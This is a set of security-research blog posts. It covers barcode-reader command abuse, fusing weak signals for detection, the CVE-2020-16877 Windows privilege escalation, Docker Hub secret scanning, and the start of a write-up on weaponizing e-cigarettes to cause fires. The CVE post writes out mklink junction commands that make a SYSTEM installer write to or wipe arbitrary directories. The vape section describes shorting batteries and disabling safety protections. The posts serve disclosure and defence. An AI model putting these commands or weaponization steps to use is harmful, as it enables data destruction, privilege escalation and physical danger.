INSIGHTS, RESEARCH | December 12, 2020

Warcodes II – The Desko Case

Six months ago we published a blog post describing ‘Warcodes’ a novel attack vector against industrial barcode readers. It included the following warning in the conclusion:

“Also, according to IOActive’s experience, it is likely that similar issues affect other barcode manufacturers.”

The same warning still applies at the time of writing this post, so I am afraid that we will have a ‘Warcodes III’ sooner rather than later. 

Also, I would like to clarify that, as opposed to previously published research on barcode readers, we are directly attacking the barcode reader device. This basically means that for our attacks to work we do not take the user terminal (a PC or any other device) connected to the target barcode reader into account.

In the previous blog post, we focused on industrial barcode readers used in the baggage handling systems deployed at a significant number of international airports. The context in this case does not change very much from the previous one, we are still analyzing threats to smart airports by looking for potential security risks in the devices that comprise the most critical systems within modern airport facilities. To identify those systems, we again used the ranking that appeared in this ENISA paper on securing smart airports.  

This time we targeted boarding gate readers used as part of the passenger boarding and flow control.

DESKO

DESKO products are found in most international airports around the world. For instance, while going through a security checkpoint you may have noticed that the TSA uses DESKO’s PENTA Scanner®. 

Unfortunately, I couldn’t find one of those devices publicly available so if anyone out there is willing to help me access a PENTA Scanner, just ping me.

However, I managed to buy a couple of BCR/BGR 504 pro devices, which are pretty common at boarding gates and security checkpoints at international airports such as Munich (Germany), San Francisco (US),  Heathrow (UK) or Mumbai (IN).

BGR 504 at Mumbai Airport  (India) – Image from https://livefromalounge.com 
 BGR 504 at Munich Airport (Germany)

Hardware Analysis

At first glance, it is obvious that the BGR 504 pro is a much more complex device than the BCR 504 pro; however, they both use the same imaging engine, an OEM barcode reading engine manufactured by Honeywell: the N56xx family.

According to the FCCID documents, the Desko Penta Scanner Cube  seems to be using the same n56XX module.

So let’s see what we can learn from the manual.

According to the document we can “create and print programming bar codes” pretty much the same way as in the SICK scenario, so the EZConfig-Scanning software is certainly an interesting target to dig deeper into and explore all those functionalities.

Ok, there we go. This basically confirms that we can control the N5600 via custom programming barcodes, but there are some security settings that may prevent this from working. Unfortunately, those security settings are not publicly available, so it seems like reverse engineering is, once again, the only path we can take to satisfy our curiosity.

The N56xx module is basically comprised of a camera module and logic board.

The MCU of the logic board is an i.MX257

We have already seen that it is possible to configure the module with custom settings, but it is also possible to develop custom plugins for this module using the TotalFreedom SDK.  There is even a marketplace for commercial plugins. Taking this into account, the Winbond SPI flash memory  may hold interesting data; hopefully, the firmware as well. 

So instead of dumping the memory, I just sniffed the SPI bus during a regular boot using a SALEAE logic analyzer.

It was possible to grab the firmware from the captured data. I directly exported the CSV data from the SALEAE session and wrote the following program to extract the contents.

Firmware analysis

Right after the highlighted header, we find the code for a loader that decompresses the main application.

After the loader comes the application header, and then finally, the compressed application.

Honestly, I didn’t spend too much time trying to understand the decompression algorithm; it looks like some kind of RLE, but I moved directly to emulating it using the Unicorn engine.  There are just few requirements we need to comply with in order to emulate this function:

  • We need to understand the context where the decompression function is executed and replicate it within our Unicorn-based emulator program. We need to set the context of the function as if we were the loader. The function is expecting four parameters:
    • R0 – Source (compressed data)
    • R1 – Length (compressed length)
    • R2 – Destination 
    • R3 – Flag 

  • We need to save the code for the ‘decompress’ function (732 bytes)
  • In the Unicorn engine program, we have to create the memory mappings, load the code to be emulated (decompress.bin), and set the registers accordingly, before invoking the function to be emulated. C source code available here.

Back to those ‘confidential’ security settings, firmware analysis revealed the logic behind them.

The ‘MNUENA’ command is used to decide whether or not the N56xx module will accept programming barcodes. Basically, executing MNUENA0 disables menu commands through programming barcodes and executing MNUENA1 forces the device to start accepting them again.

However,  it appears that someone considered that once you deploy one of these modules, it is not a good idea to let just anyone send menu commands through programming barcodes.  By reverse engineering the firmware, I noticed that Honeywell implemented a single security boundary: a ‘PASSWORD’ field in the working config. It can be configured through ‘PASWRD’ command in order to require a password when attempting to enable menu commands with ‘MNUENA1’.

validatePassword’ checks whether the password entered via the programming barcode is the same as the one that was configured, and ‘check_password’ checks whether the format of the password is acceptable when it is set.

Obviously, this approach may have a significant caveat: when configured, the value of that ‘PASWRD’ will probably be the same for all N56xx modules. Therefore, if you have physical access to one, for instance, by buying a decommissioned device (like I did), it is possible to access the password.

A further analysis revealed that you do not even need physical access to dump flash memory, as I also found undocumented commands that can be sent through specially crafted USB (or Serial when Desko VCOM is installed) requests. Their names are pretty self-explanatory but are summed up as follows:

  • DUMPMEMORY: Allows dumping arbitrary chunks of memory
  • PEEK: Allows reading memory contents from arbitrary addresses
  • POKE: Allows writing attacker-controlled values to arbitrary addresses

You can use the following PoC to communicate with a N56xx module and send the aforementioned commands via USB.

In the DESKO case, the ‘PASWRD’ field has not been configured, so anyone presenting the following barcode to the device will enable menu commands through programming barcodes, allowing them to disrupt the normal functioning of the device.


Conclusion

The attack vector described in this blog post can be exploited in various ways across multiple industries, as the Honeywell N56xx family is an OEM device that is actively deployed in different sectors. These issues can be leveraged to backdoor and take control of these devices.

We recommend all barcode reader manufacturers take a proactive approach and assess the security posture of their products against this type of attack, as the trend we are observing is worrisome.

Disclosure Timeline

  • 2020-08-12 – Initial contact through DESKO’s web support form.
  • 2020-08-12 – Automatic reply from DESKO.
  • 2020-08-17 – DESKO support staff asks for additional information about the issue.
  • 2020-08-19 – IOActive shares the initial advisory describing the issue with DESKO.
  • 2020-08-20 – DESKO support staff acknowledge the report and mention they will share it with their Research & Development team.
  • 2020-09-23 – DESKO states they are in contact with the N5600 manufacturer in order to address the issue.
  • 2020-10-26 – IOActive asks for a status update; no response
  • 2020-11-23 – IOActive asks whether DESKO has any plans to share a statement about this security issue; no response.
GUEST BLOG | November 19, 2020

Hiding in the Noise | Corey Thuen

IOActive guest blog - Corey Thuen

Greetings! I’m Corey Thuen. I spent a number of years at Idaho National Laboratory, Digital Bond, and IOActive (where we affectionately refer to ourselves as pirates, hence the sticker). At these places, my job was to find 0-day vulnerabilities on the offensive side of things.

Now, I am a founder of Gravwell, a data analytics platform for security logs, machine, and network data. It’s my background in offensive security that informs my new life on the defensive side of the house. I believe that defense involves more than looking for how threat actor XYZ operates, it requires an understanding of the environment and maximizing the primary advantage that defense has—this is your turf and no one knows it like you do. One of my favorite quotes about security comes from Dr. Eugene Spafford at Purdue (affectionately known in the cybersecurity community as “Spaf”) who said, “A system is good if it does what it’s supposed to do, and secure if it doesn’t do anything else.” We help our customers use data to make their systems good and secure, but for this post let’s talk bad guys, 0-days, and hiding in the noise.

A very important part of cybersecurity is threat actor analysis and IOC generation. Security practitioners benefit from knowledge about how adversary groups and their toolkits behave. Having an IOC for a given vulnerability is a strong signal, useful for threat detection and mitigation. But what about for one-off actors or 0-day vulnerabilities? How do we sort through the million trillion events coming out of our systems to find and mitigate attacks?

IOActive has a lot of great folks in the pirate crew, but at this point I want to highlight a pre-pandemic talk from Jason Larsen about actor inflation. His thesis and discussion are both interesting and hilarious; the talk is certainly worth a watch. But to tl;dr it for you, APT groups are not the only attackers interested in, or capable of, compromising your systems. Not by a long shot. 

When I was at IOActive (also Digital Bond and Idaho National Laboratory), it was my job as a vulnerability researcher to find 0-days and provide detailed technical write-ups for clients so vulnerabilities could be discovered and remediated. It’s this work that gives me a little different perspective when it comes to event collection and correlation for security purposes. I have a great appreciation for weak signals. As an attacker, I want my signals to the defenders to be as weak as possible. Ideally, they blend into the noise of the target environment. As a defender, I want to filter out the noise and increase the fidelity of attacker signals.

Hiding in the Data: Weak Signals

What is a weak signal? Let’s talk about an example vulnerability in some ICS equipment. Exploiting this particular vulnerability required sending a series of payloads to the equipment until exploitation was possible. Actually exploiting the vulnerability did not cause the device to crash (which often happens with ICS gear), nor did it cause any other obvious functionality issues. However, the equipment would terminate the network communication with an RST packet after each exploit attempt. Thus, one might say an IOC would be an “unusual number of RST packets.” 

Now, any of you readers who have actually been in a SOC are probably painfully aware of the problems that occur when you treat weak signals as strong signals. Computers do weird shit sometimes. Throw in users and weird shit happens a lot of the time. If you were to set up alerts on RST packet indicators, you would quickly be inundated; that alert is getting switched off immediately. This is one area where AI/ML can actually be pretty helpful, but that’s a topic for another post.

rst packet spike

The fact that a given cyber-physical asset has an increased number of RST packets is a weak signal. Monitoring RST packet frequency itself is not that helpful and, if managed poorly, can actually cause decreased visibility. This brings us to the meat of this post: multiple disparate weak signals can be fused into a strong signal.

Let’s add in a fictitious attacker who has a Metasploit module to exploit the vulnerability I just described. She also has the desire to participate in some DDoS, because she doesn’t actually realize that this piece of equipment is managing really expensive and critical industrial processes (such a stretch, I know, but let’s exercise our imaginations). Once exploited, the device attempts to communicate with an IP address to which it has never communicated previously—another weak signal. Network whitelisting can be effective in certain environments, but an alert every time a whitelist is violated is going to be way way too many alerts. You should still collect them for retrospective analysis (get yourself an analytics platform that doesn’t charge for every single event you put in), but every network whitelist change isn’t going to warrant action by a human.

As a final step in post-exploitation, the compromised device initiates multiple network sockets to a slack server, above the “normal” threshold for connection counts coming out of this device on a given day. Another weak signal.

So what has the attacker given a defender? We have an increased RST packet count, a post-exploitation download from a new IP address, and then a large uptick in outgoing connections. Unless these IP addresses trigger on some threat list, they could easily slide by as normal network activity hidden in the noise.

An analyst who has visibility into NetFlow and packet data can piece these weak signals together into a strong signal that actually warrants getting a human involved; this is now a threat hunt. This type of detection can be automated directly in an analytics platform or conducted using an advanced IDS that doesn’t rely exclusively on IOCs. When it comes to cybersecurity, the onus is on the defender to fuse these weak signals in their environment. Out-of-the-box security solutions are going to fail in this department because, by nature, they are built for very specific situations. No two organizations have exactly the same network architecture or exactly the same vendor choices for VPNs, endpoints, collaboration software, etc. The ability to fuse disparate data together to create meaningful decisions for a given organization is crucial to successful defense and successful operations.

Hiding Weak Signals in Time

One other very important aspect of weak signals is time. As humans, we are particularly susceptible to this problem but the detection products on the market face challenges here too. A large amount of activity or a large change in a short amount of time becomes very apparent. The frame of reference is important for human pattern recognition and anomaly detection algorithms. Just about any sensor will throw a “port scan happened” alert if you `nmap -T5 -p- 10.0.0.1-255.` What about if you only send one packet per second? What about one per day? Detection sensors encounter significant technical challenges keeping context over long periods of time when you consider that some organizations are generating many terabytes of data every day.

An attacker willing to space activity out over time is much less likely to be detected unless defenders have the log retention and analytics capability to make time work for defense. Platforms like Gravwell and Splunk were built for huge amounts of time series data, and there are open-source time series databases, like InfluxDB, that can provide these kinds of time-aware analytics. Key/value stores like ELK can also work, but they weren’t explicitly built for time series, and time-series-first is probably necessary at scale. It’s also possible to do these kinds of time-based data science activities using Python scripts, but I wouldn’t recommend it.

Conclusion

Coming from a background in vulnerability research, I understand how little it can take to compromise a host and how easily that compromise can be lost in the noise when there are no existing, high-fidelity IOCs. This doesn’t just apply to exploits, but also lost credentials and user behavior.

Relying exclusively on pre-defined IOCs, APT detection mechanisms or other “out-of-the-box” solutions causes a major gap in visibility and gives up the primary advantage that you have as a defender: this is your turf. Over time, weak signals are refined and automated analysis can be put in place to make any attacker stepping foot into your domain stand out like a sore thumb.

Data collection is the first step to detecting and responding to weak signals. I encourage organizations to collect as much data as possible. Storage is cheap and you can’t know ahead of time which logfile or piece of data is going to end up being crucial to an investigation.

With the capability to fuse weak signals into a high-fidelity, strong signal on top of pure strong signal indicators and threat detection, an organization is poised to be successful and make sure their systems “do what they’re supposed to do, and don’t do anything else.”

-Corey Thuen

INSIGHTS, RESEARCH | November 11, 2020

CVE-2020-16877: Exploiting Microsoft Store Games

TL;DR

This blog post describes a privilege escalation issue in Windows (CVE-2020-16877) I reported to Microsoft back in June, which was patched in October. This issue allows an attacker to exploit Windows via videogames by directly targeting how Windows handles Microsoft Store games. This issue could be exploited to elevate privileges from a standard user account to Local System on Windows 10.


Introduction

Back in June, a certain announcement caught my attention – Microsoft just added support for mods for various games as part of its gaming subsystem. My growing curiosity lead me to explore this new Windows feature and find an implementation flaw that could be abused to conduct privilege escalation attacks.

I have put together this blog post using the many Post-it notes left stuck around my monitors, detailing a long night spent playing around with this new Windows feature.

Before we start playing with this feature, let me provide you with some background on Windows apps and game mods. If you are familiar with these concepts, please feel free to skip over the next section.


Windows Gaming and Mods

If you are not too familiar with videogames, a mod (short for “modification”) is an alteration made by players or fans of a videogame, that changes one or more aspects of a videogame, such as how it looks or behaves. Mods range from small changes and tweaks to complete overhauls, which can make a game more interesting to play.

In general, Microsoft Store games are Universal Windows Platform (UWP) apps deployed on Windows as Windows apps.

According to Microsoft’s documentation, a UWP app is:

  • Secure: UWP apps declare which device resources and data they access. The user must authorize that access. UWP apps use a manifest to specify the capabilities that are needed, such as access to the microphone, location, Webcam, USB devices, files, and so on.
  • Able to use a common API on all devices that run Windows 10.
  • Available from the Microsoft Store on all devices that run on Windows 10.
  • Able to be installed and uninstalled without risk to the machine or incurring “machine rot”.

One can think of a UWP app as a sandboxed application, which defines its capabilities (e.g. filesystem access, network access, and so on) in the Manifest part of the application package (Appx).

Appx is the file format used to distribute and install apps on Windows 10, Xbox One, HoloLens, and Windows 10 IoT Core. Unlike legacy desktop apps, Appx is the only installation system allowed for UWP apps.

Windows apps are stored in a special “hidden” directory (“C:\Program Files\WindowsApps“) on the system that has strict access rules, preventing any sort of game mods or standard user interaction:

The following images shows the permissions for this directory:

In the past, given the lack of mod support for Microsoft Store games, players have been looking for workarounds to mod their favorite games (i.e. Minecraft – Microsoft Store edition). For example, in order to perform DLL injection on UWP apps, the ALL APPLICATION PACKAGES (S-1-15-2-1) group should have had R+X permissions on the DLL being injected into the Windows app.

Now that we have a basic idea of the Windows apps ecosystem and game mods, we are ready to jump into the fun part.


Game On!

Before installing the game on my system, I took a step back and considered how Microsoft might implement this feature and came up with two possible ways. My two guesses were:

  • A new subdirectory within the WindowsApps directory that was accessible to standard users.
  • A separate directory placed in a (standard) user-accessible directory.

So, I performed an additional step and did a simple search on my main drive for “*WindowsApps*” and got the following result:

It appears that in order to allow games to support mods, Windows created a new directory “C:\Program Files\ModifiableWindowsApps“, which as the name suggests, should host Windows apps that could be modified. Interesting.

I wanted to check the permissions on this directory as well as its contents, but unfortunately, I didn’t have any content in it yet. However, I could at least access it without an admin prompt, but couldn’t do much in it…

Permissions on C:\Program Files\ModifiableWindowsApps:

I did a quick online search for references to this directory and found the following bits:

  • References to the ModifiableWindowsApps directory could be found in the Microsoft documentation for desktop6:MutablePackageDirectory (dated 04/19/2019), which states this directory, “specifies a folder under the %ProgramFiles%\ModifiableWindowsApps path where the contents of your desktop application’s install folder are projected so that users can modify the installation files (for example, to install mods).”
  • The documentation for desktop6:MutablePackageDirectories (dated 04/19/2019) states this directory, “enables your desktop application to specify one or more folders where users can modify the installation files for your application (for example, to install mods).”
  • And most importantly, “this element is currently intended to be used only by certain types of desktop PC games that are published by Microsoft and our partners. It requires the modifiableApp restricted capability“.

This tells us that this feature is restricted to only certain games that need to be vetted and approved by Microsoft, in order for the game to be allowed to specify the modifiableApp capability in the manifest, and therefore allow mods.


Recap Time

Let’s recap what we know so far:

  • Windows is allowing a number of Microsoft Store games to be modifiable.
  • This is achieved by allowing certain game developers to publish UWP games on the Store using a restricted capability (modifiableApp).
  • Among other things, the modifiableApp capability allows Microsoft Store games to rely on the Windows mod support and a bunch of new APIs.
  • These modifiable Windows apps can specify the directories where their modifiable data is stored via MutablePackageDirectory and MutablePackageDirectories.

Back To The Action

At this point, in order to proceed with my exploration, I had to find a list of games with mod support available on the Microsoft Store, and pick a game to play with. Luckily enough, the Microsoft article about mod support for Microsoft Store games had this list ready for me:

  • DiRT Rally 2.0
  • Farming Simulator 17
  • FTL: Faster Than Light
  • Into The Breach
  • MudRunner

I decided to go for Faster Than Light:

To confirm my understanding of the Windows apps’ modding approach, I took a quick peek at the game manifest to check and confirm the presence of the “special” capability (modifiableApp):

And to confirm the location of the game directory where the game data would be deployed, I checked the ModifiableWindowsApps directory after installing the game, and “FTL” would be the MutablePackageDirectory:

With this information, I decided to go ahead and install the game again as a standard user, and monitor the installation process with ProcMon:

ProcMon provided me with the following information about installing games with mod support from the Microsoft Store:

  • There were two main processes doing the heavy lifting:
    • svchost (running as NT AUTHORITY\SYSTEM), specifically:

  • GamingServices (running as S-1-5-18)
  • These processes performed interesting file actions without impersonating a low-privileged user.

At this point I was very intrigued by this installation mechanism and decided to spend a bit more time on this, but not before having yet another late-night espresso.


Houston, We Got A Problem

The ModifiableWindowsApps directory, storing Windows games, does not allow (by default) standard users to fiddle with the installation directory or its contents:

One of the reasons why Microsoft may want to restrict access to the game directory (and its parent directory) is to prevent standard users from hijacking the installation process and placing game data into an unwanted directory. How? For example, by relying on symbolic links.

Specifically, on Windows it is possible to create symbolic links via:

  • Hard Links – A hard link is the filesystem representation of a file by which more than one path references a single file in the same volume.
  • Junctions – A junction (also called a soft link) differs from a hard link in that the storage objects it references are separate directories, and a junction can link directories located on different local volumes on the same computer.
  • Object Manager Symbolic Links – a filesystem-like structure, which is used to hold named resources, such as devices and events, that also supports symbolic links.

If you would like to know more about symbolic links, please refer to the amazing work from James Forshaw (@tiraniddo) on this topic (i.e. A Link To The Past).

If I were able to gain write access to the ModifiableWindowsApps directory, I could try to redirect the game installation to target an arbitrary directory on the system, including a directory a standard user would not have access to, since the installation process(es) run as a high-privileged user, as shown earlier.

Under the assumption I could create the initial junction (for the ModifiableWindowsApps directory itself), the following workflow shows a possible way to hijack the installer to an arbitrary directory (i.e. into “C:\Windows\ImmersiveControlPanel“), bypassing access restriction:

Permissions for C:\Windows\ImmersiveControlPanel:

Unfortunately, to be able to set up any symbolic link, a standard user would need to have write access to ModifiableWindowsApps or any of its subdirectories.

This was not possible since the ModifiableWindowsApps could not be replaced (as this was already part of the system) and there were strict access rules in place to protect this directory and its content (i.e. the game directory “FTL“).

Is it game over? Well not just yet…


And Yet It Moves

All I needed to find was a way to “lift” the ModifiableWindowsApps directory and place it somewhere else on the system where I have access, at least until this relocation has completed.

Interestingly, Windows has a neat feature that lets you define where various data should be stored, which is accessible to standard users. This feature is accessible via Storage Settings.

This feature obviously works for Windows apps, and I wanted to confirm this would also work with modifiable Windows apps. So, I set the destination drive for new apps to a different drive on my system and tried the installation process again. Great news, the ModifiableWindowsApps directory and the game were both placed on the new drive.

Potentially, this could be a way to gain write access to the ModifiableWindowsApps directory when this is deployed on a different drive (rather than C:), and all I had to do was prepare the destination drive (i.e. any other drive on the system, even an empty USB stick) with a combination of junctions and bait the installer via Storage Settings.


Challenge Accepted

It was time for me to put all the pieces together and try to exploit this mechanism and see if the workflow I envisioned earlier, with a minor change (bouncing from one drive to another), would work and reveal an interesting implementation flaw:

First off, I set the junction to hijack the installer using the following commands (assume D: is any other available drive on the system – even a USB stick):

  • md “D:\Program Files”
  • mklink /J “D:\Program Files\ModifiableWindowsApps” “C:\Windows\ImmersiveControlPanel”

Then, I changed where the Windows apps should be stored via Storage Settings:

And installed the game:

While monitoring the installation via ProcMon:

To confirm the game data was actually written into my arbitrary directory:

At this point I knew a standard user could write data into any arbitrary directory on the system, but what about deleting files? The first approach that came to mind was trying to uninstall the game.

Unfortunately (or fortunately), the uninstall process only removes game files (stored in the actual game directory) and it didn’t appear to touch any unrelated data.

But what if the game directory itself is a junction? What if we use a double junction to trick the installer into thinking that the game installation directory itself is another directory on the system?

This way, when the installer attempts to delete the game data, instead of deleting the content of the game directory (i.e. “FTL“), it will remove the content of an arbitrary directory on the system (i.e. the “Private” directory stored on the admin’s desktop):

So, I prepared my attack environment again but with a little twist, I would use a double junction to wipe an arbitrary directory by pivoting the installer towards my target:

  • md “D:\Program Files”
  • md “D:\pivot”
  • mklink /J “D:\Program Files\ModifiableWindowsApps” “D:\pivot”
  • mklink /J “D:\pivot\FTL” “C:\Users\dnt-admin\Desktop\private”

After setting up the environment, I performed the same steps as described earlier for the arbitrary write scenario, with a little change when performing the installation step. In fact, to trigger the “delete”, one would need to interrupt the installation (after the download completes) via the Microsoft Store or wait for the installer to throw an error:

And by doing so, all the data in the targeted directory was actually wiped.

As a final comment before we jump to the last section, please note that it is possible to achieve good control over where the game data is written to (or which files to delete) by the installer by using multiple combinations (and levels) of symbolic links.


Elevation Time

People usually say “pics or it didn’t happen”, so I shall leave a GIF(t) below of a standard user spawning a shell running as nt authority\system by exploiting this vulnerability:

Hope you enjoyed the reading! Game on and play safe!


GUEST BLOG | November 3, 2020

Low-hanging Secrets in Docker Hub and a Tool to Catch Them All | Matías Sequeira

TL;DR: I coded a tool that scans Docker Hub images and matches a given keyword in order to find secrets. Using the tool, I found numerous AWS credentials, SSH private keys, databases, API keys, etc. It’s an interesting tool to add to the bug hunter / pentester arsenal, not only for the possibility of finding secrets, but for fingerprinting an organization. On the other hand, if you are a DevOps or Security Engineer, you might want to integrate the scan engine to your CI/CD for your Docker images.

GET THE TOOL: https://github.com/matiassequeira/docker_explorer

The idea for this work came up when I was opening the source code for a project on which I was collaborating. Apart from migrating the source code to an open GitHub, we prepared a ready-to-go VM that was uploaded to an S3 bucket and a few Docker images that we pushed to Docker Hub. A couple of days later, a weekend to be more specific, we got a warning from AWS stating that our SNS resources were being (ab)used – more than 75k emails had been sent in a few hours. Clearly, our AWS credentials were exposed.

Once we deleted all the potentially exposed credentials and replaced them in our environments, we started to dig into the cause of the incident and realized that the credentials were pushed to GitHub along with the source code due to a miscommunication within the team. As expected, the credentials were also leaked to the VM, but the set of Docker images were fine. Anyhow, this got me thinking about the possibility of scanning an entire Docker images repository, the same way hackers do with source code repositories. Before starting to code something, I had to check whether it was possible.

Analyzing Feasibility

Getting a list of images

The first thing I had to check was if it was possible to retrieve a list of images that match a specific keyword. By taking a look at the API URLs using a proxy, I found:

https://hub.docker.com/v2/search/repositories?query={target}&page={page}&page_size={page_size}

The only limitation I found with API V2 was that it wouldn’t retrieve anything beyond page number 100. So, given the maximum page size of 100, I wouldn’t be able to scan more than 10k containers per keyword. This API also allows you to sort the list by pull count, so, if we retrieve the repositories with fewer pulls (in other words, the newest repositories), we have a greater chance of finding something fresh. Although there’s a V1 of the API that has many other interesting filters, it wouldn’t allow me to retrieve more than ~2.5k images.

After getting the image name, and since not all the images had the `latest` version, I had to make a second request to get a list of versions for each image to the following endpoint:

https://hub.docker.com:443/v2/repositories/{image}/tags/?page_size=25&page=1

Once I had the `image:version`, the only thing left was to pull the image, create a temporary container, and dump its filesystem.

Analyzing the image dump

This was one of the most important parts of my research, because it involved the engine I used for scanning the images. Before trying to create a scan engine, which is a big enough problem, and with so many options to choose from, I started to look for the most suitable tool which could work on an entire filesystem, which could look for a wide variety of secrets. After doing some research, I found many options, but sadly, most of them were oriented to GitHub secrets, had a high rate of false positives, or evaluated secrets as isolated strings (without considering format var=value).

While discussing this with one of my colleagues, he mentioned a tool that had been published less than a week ago called Whispers, a great tool by Artëm Tsvetkov and Christian Martorella. By doing some tests, I found this tool very convenient for several reasons:

  • Contains many search rules (AWS secrets, GitHub secrets, etc.) that assess potential secrets as var=value format
  • Findings are classified by type, impact (minor, major, critical, blocker), file location, etc.
  • Allows you to add more rules and plugins
  • Written in Python3 and thus very easy to modify

Developing the tool

Once I had everything in place, I started to work on a script to automate the process in order to scan thousands of images. By using/testing the tool, I came up with additional requirements, such as allowing the user to provide the number of core processors to use, limit Whispers execution time, store logs separately for each container, delete containers and images in order to avoid filling up the disk space, etc.

Also, in order to maximize the number of findings, minimize the number of false positives, and ease data triage, I made a couple of modifications to the standard Whispers:

  • Added a rule for Azure stuff
  • Excluded many directories and files
  • Saved files with potential secrets into directories

Running the tool

With the tool pretty much ready to analyze bulk images, I signed up for two different DigitalOcean accounts and claimed $100 in credit for each. Later, I spun up two servers, set up the tool in each environment, and ran the tool using a large set of keywords/targets.

The keywords/images I aimed to scan were mainly related to technologies that handle or have a high probability of containing secrets, such as:

  • DevOps software (e.g. Kubernetes / K8s / Compose / Swarm / Rancher)
  • Cloud services (e.g. AWS / EC2 / CloudFront / SNS / AWS CLI / Lambda)
  • CI/CD software (e.g. Jenkins / CircleCI / Shippable)
  • Code repositories (e.g. GitLab / GitHub)
  • Servers (e.g. NGINX / Apache / HAProxy)

After a month of running the tool, I found myself with a total of 20 GB of zipped data ready to triage, for which I had to develop an extra set of tools to clean all of the data, applying and reutilizing the same criteria. Among the rules or considerations, the most important were:

  • Created a list of false-positive strings that were reported as AWS access keys
  • Deleted AWS strings containing the string “EXAMPLE”
  • Discarded all the potential passwords that were not alphanumeric and shorter than 10 chars
  • Discarded passwords containing the string “password”
  • Discarded test, dummy, or incorrect SSH private keys
  • Deleted duplicate keys /values for each image, to lessen the amount of manual checking

Results

After many weeks of data triage, I found a wide variety of secrets, such as 200+ AWS accounts (of which 64 were still alive and 14 of these were root), 1,500+ valid SSH keys, Azure keys, several databases, .npmrc tokens, Docker Hub accounts, PyPI repository keys, many SMTP servers, reCAPTCHA secrets, Twitter API keys, Jira keys, Slack keys, and a few others.

Within the most notable findings was the whole infrastructure (SMTP servers, AWS keys, Twitter keys, Facebook keys, Twilio keys, etc.) of a US-based software company with approximately 300 employees. I reached out to the company, but, unfortunately, I did not hear back. Also, I identified an Argentinian software company focusing on healthcare that had a few proofs-of-concept with valid AWS credentials.

The most commonly overlooked files were ‘~/aws/credentials’, Python scripts with hardcoded credentials, the Linux bash_history, and a variety of .yml files.

So, what can I use the tool for?

If you are a bug bounty hunter or a pentester, you can use the tool with different keywords, such as the organization name, platform name, or developers’ names (or nicknames) involved in the program you are targeting. The impact of finding secrets can range from a data breach to the unauthorized use of resources (sending spam campaigns, Bitcoin mining, DDoS attack orchestration, etc.).

Security recommendations for Docker images creation

If you work in DevOps, development, or SysAdmin and currently use cloud infrastructure, these tips might come handy for Docker image creation:

  • Always try to use a fresh, clean Docker image.
  • Delete your SSH private key and SSH authorized keys:
    • sudo shred myPrivateSSHKey.pem authorized_keys
    • rm myPrivateSSHKey.pem authorized_keys
  • Delete ~.aws/credentials using the above method.
  • Clean bash history:
    • history -c
    • history -w
  • Don’t hardcode secrets in the code. Instead, use environment variables and inject them at the moment of container creation. Also, when possible, use mechanisms provided by container orchestrators to store/use secrets and don’t hardcode them in config files.
  • Perform a visual inspection of your home directory, and don’t forget hidden files and directories:
    • ls -la
  • If you are using a free version of Docker Hub, assume that everything within the image is public.

Update SEPTEMBER 2020: While writing this blog post, Docker Hub announced that by NOVEMBER 2020 it will start to limit the number of downloads by time. But, there’s always a way ;).

GET THE TOOL: https://github.com/matiassequeira/docker_explorer

-Matías Sequeira

Matías Sequeira is an independent security researcher. He started his career in cybersecurity as an Infosec consultant, working for clients in the financial and medical software fields. Concurrently, he began conducting research into ransomware and its defenses as part of the AntiRansomware Team. In recent years, Matías has been focused in the R&D of cybersecurity tools which were presented in conferences such as BlackHat, Ekoparty, and Hack In the Box, amongst others. Currently, he is pursuing an MSc in Cybersecurity at Northeastern University under a Fulbright scholarship and likes playing CTFs during his free time.

INSIGHTS, RESEARCH | October 6, 2020

A journey into defeating regulated electronic cigarette protections

TL;DR: This blog post does not encourage smoking nor vaping. The main focus of this blog will be defeating the protections of a regulated electronic cigarette to assess the ability of it being weaponized via a remote attacker by modifying its firmware and delivering it through a malware which waits for electronic cigarettes to be connected over USB or discovered over Bluetooth.

The electronic cigarette market continues to grow. According to statistics presented by the market research company EuroMonitor, the number of people who vape will reach almost 55 million by 2021. In this blog post, we showcase different ways to weaponize electronic cigarettes or their components to cause fires and/or explosions, which can physically impact sectors such as the Aviation industry.

Vaping 101:

Prior to creating havoc, let’s do a quick walkthrough of the components that comprise a mod vape. There are two common types of mod vapes: regulated and unregulated.

Regulated (box) mods have built-in protections against overheating and continuous firing and regulate the power flow through the device. 

Regulated Mod 
  • An 18650 battery is the most common type of battery used in box mods. They are lithium-ion cell, which are high-drain, rechargeable batteries.
  • Two buttons on the box mod control the wattage and tell the mod how much power to deliver to the coils to make them hotter or cooler.
  •  Box mods can hold one or more batteries. Once the fire button is pressed, the batteries discharge, making the coils heat up and causing the liquid to turn into vapor (hence the term: vape or vaporizer). The user inhales the vapor via the drip tip.
Mechanical mod

Unregulated (mechanical) mods have no circuitry and do not provide any protections. Mechanical mods provide direct power from the batteries to the coil (these are dangerous on their own). 

How vape firing looks like

  1. Fire button is pressed.
  2. Current is supplied to the coils which make them heat up.
  3. Liquid on the cotton wick evaporates.

1- The problem with vape batteries:

The majority of batteries are encased in steel and shrink-wrapped to ensure proper isolation of the positive and negative poles and prevent a short. A short could lead to an explosion or fire depending on the quality of the battery.

High-quality batteries come with safety valves and a protection board, which keeps the safety performance quite high. When a high-quality battery is shorted, the safety valve opens, releasing the pressure and preventing an explosion; but, the chemicals that are released can react with oxygen in the air and still possibly create a fire. Low-quality batteries offer almost no protections. Their safety valves cannot keep up with the fumes being released, thus pressurizing the container and probably exploding.

 So what would cause a battery to explode? Well, here are a few potential causes:

  • Being stored in humid or high-temperature conditions (exceeding 65˚C).
  • Over-charging, shorts, punctures, being exposed to fire.
  • Overheating.
  • Poor maintenance, such as damaging the shrink wrap.
  • Use of non-authentic batteries (a.k.a. clones).
  • Using batteries to power coils with inappropriate resistance ratings.

One major problem that vape users face is damage to their batteries’ shrink wrap. Due to repeated removal and insertion, the shrink wrap starts to peel off the battery. This exposes the negative and positive poles, which could allow shorting in certain conditions. 

Well maintained battery vs poorly maintained battery

The battery on the left is properly sealed with shrink wrap, while the battery on the right has had its shrink wrap peeled off due to excessive use (placing it into the charger and back into the mod).

The dangers of such batteries include the fact that they can be taken onboard planes with no restrictions. Using just a battery and a coin, you can create a fire or explosion, depending on the quality of the battery.

Battery with a damaged shrink wrap shorted with a coin

2- Disabling protections of a regulated mod:

To weaponize a regulated mod, we need to first set some goals in order to get the best results. Here’s a list of things we need to do:

  1. Acquire the the firmware. [✔️]
  2. Find and patch the protections: [✔️]
    1. Continuous fire protection. [✔️]
    2. Disable Maximum temperature protection. [✔️]
    3. Set its initial watt/temperature to the max.[✔️]
    4. Trigger the firing mechanism without pressing the fire button.[✔️]
    5. Disable other protections that are triggered along the way.[✔️]
  3. Reprogram the mod and see if it accepts modified firmware.[✔️]

